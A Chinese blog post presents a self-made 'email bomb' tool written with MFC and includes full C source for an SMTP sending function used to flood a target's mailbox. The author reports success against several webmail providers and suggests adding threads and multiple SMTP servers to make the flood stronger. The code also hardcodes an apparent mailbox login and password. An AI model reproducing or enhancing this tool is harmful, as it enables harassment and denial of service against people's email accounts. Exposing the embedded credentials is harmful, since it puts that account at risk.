MFC实现的邮件炸弹【附源码】
MFC实现的邮件炸弹【附源码】
前段时间有个网络安全实验,因为这边我在做信息安全的一个国赛,没有参加,别人做完了,做了一个邮件炸弹,我觉得蛮有意思的,于是就自己写了一个,MFC做的,结果是攻击某些邮箱可以(gmail,163,126),有些不行(QQ邮箱会把发的邮件直接放到垃圾箱里,我想可能是加了自己的一个包过滤机制,类似防火墙的东西),ok,下面我就开始说说我做的邮件炸弹吧,欢迎大家拍砖~~~~~~~~
首先,展示一下邮件炸弹的界面:
输入邮件炸弹需要到达的邮箱地址,开始执行,向目标地址,发送邮件,我只写了一个线程,发送邮件,如果想效果更好的话,你可以修改源码,多建几个线程登陆多个SMTP服务器,同时发送邮件,这样效果更好。。。
我的发送邮件的主要的函数是sendemail实现的:
- void sendemail(char *email,char *body,char *smtpip)
- {
- int sockfd = 0;
- struct sockaddr_in their_addr = {0};
- char buf[1500] = {0};
- char rbuf[1500] = {0};
- char login[128] = {0};
- char pass[128] = {0};
- #ifdef WIN32
- WSADATA WSAData;
- WSAStartup(MAKEWORD(2, 2), &WSAData);
- #endif
- memset(&their_addr, 0, sizeof(their_addr));
- their_addr.sin_family = AF_INET;
- their_addr.sin_port = htons(25);
- their_addr.sin_addr.s_addr = inet_addr(smtpip);//smtp 服务器
- // 连接邮件服务器,如果连接后没有响应,则2 秒后重新连接
- sockfd = open_socket((struct sockaddr *)&their_addr);
- memset(rbuf,0,1500);
- while(recv(sockfd, rbuf, 1500, 0) == 0)
- {
- printf("reconnect...\n");
- Sleep(2);
- //close(sockfd);
- sockfd = open_socket((struct sockaddr *)&their_addr);
- memset(rbuf,0,1500);
- }
- printf("%s\n", rbuf);
- // EHLO
- memset(buf, 0, 1500);
- sprintf(buf, "EHLO abcdefg-PC\r\n");
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // AUTH LOGIN
- memset(buf, 0, 1500);
- sprintf(buf, "AUTH LOGIN\r\n");
- send(sockfd, buf, strlen(buf), 0);
- printf("%s\n", buf);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // USER
- memset(buf, 0, 1500);
- sprintf(buf,"testhc@126.com");//邮箱账号
- memset(login, 0, 128);
- base64(login, buf, strlen(buf));
- sprintf(buf, "%s\r\n", login);
- send(sockfd, buf, strlen(buf), 0);
- printf("%s\n", buf);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // PASSWORD
- sprintf(buf, "199183");//邮箱密码
- memset(pass, 0, 128);
- base64(pass, buf, strlen(buf));
- sprintf(buf, "%s\r\n", pass);
- send(sockfd, buf, strlen(buf), 0);
- printf("%s\n", buf);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // MAIL FROM
- memset(buf, 0, 1500);
- sprintf(buf, "MAIL FROM: <testhc@126.com>\r\n");
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // RCPT TO 第一个收件人
- sprintf(buf, "RCPT TO:<%s>\r\n", email);
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // DATA 准备开始发送邮件内容
- sprintf(buf, "DATA\r\n");
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // 发送邮件内容,\r\n.\r\n内容结束标记
- sprintf(buf, "%s\r\n.\r\n", body);
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // QUIT
- sprintf(buf, "QUIT\r\n");
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
- // VC2005 需要使用
- closesocket(sockfd);
- // close(sockfd);
- #ifdef WIN32
- WSACleanup();
- #endif
- return;
- }
|
评论暂时关闭